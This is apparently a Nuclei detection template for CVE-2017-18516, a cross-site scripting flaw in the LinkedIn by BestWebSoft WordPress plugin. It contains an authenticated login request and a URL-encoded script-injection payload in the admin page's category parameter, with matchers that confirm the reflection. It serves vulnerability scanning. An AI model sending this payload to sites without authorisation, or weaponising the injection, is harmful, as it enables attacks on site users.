nuclei-templates/http/cves/2017/CVE-2017-18516.yaml

id: CVE-2017-18516

info:
  name: LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.
  remediation: Fixed in version 1.0.5
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18516
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18516
    - https://wordpress.org/plugins/bws-linkedin/#developers
  classification:
    cve-id: CVE-2017-18516
  metadata:
    max-request: 3
    verified: true
    publicwww-query: "/wp-content/plugins/bws-linkedin/"
  tags: cve,cve2017,wordpress,wp-plugin,wpscan,bws-linkedin,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "LinkedIn by BestWebSoft")'
        condition: and